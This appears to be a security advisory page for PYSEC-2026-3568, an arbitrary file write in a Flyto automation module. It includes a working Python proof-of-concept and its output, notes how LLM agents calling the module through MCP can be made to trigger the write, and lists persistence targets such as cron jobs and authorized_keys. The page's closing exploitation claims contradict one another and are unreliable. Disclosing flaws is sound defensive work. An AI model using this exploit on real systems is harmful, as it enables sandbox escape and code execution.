Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
PYSEC-2026-3568
No affected components available
Summary
image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
Affected code
src/core/modules/atomic/image/download.py:
output_path = params.get('output_path')
output_dir = params.get('output_dir', '/tmp') # caller-controlled base
...
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path') # base is attacker-chosen, so always passes
...
content = await response.read() # attacker-hosted bytes
with open(target_real, 'wb') as f:
f.write(content)
commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.
This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.
Reproduction
Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
def log_message(self, *a): pass
async def run(mid, params):
from core.modules.registry import ModuleRegistry
try:
return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
except Exception as e:
return ("EXC", f"{type(e).__name__}: {e}")
async def main():
from core.modules.atomic import register_all
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # OUTSIDE the sandbox
print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
print("B) image.download:", await run("image.download", {
"url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
print("file written outside sandbox?", os.path.exists(target))
if os.path.exists(target):
print("content:", open(target, "rb").read())
if __name__ == "__main__":
asyncio.run(main())
Output:
A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
file written outside sandbox? True
content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'
file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.
Reachability (why this is not operator self-service)
output_dir, output_path and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic execute_module(module_id, params) MCP tool (core/mcp_handler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTO_SANDBOX_DIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.
Impact
Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorized_keys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).
Suggested fix
Use validate_path_with_env_config() for every module that writes files, so all writes are confined to FLYTO_SANDBOX_DIR (a base the caller cannot change), never to a caller-supplied output_dir.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard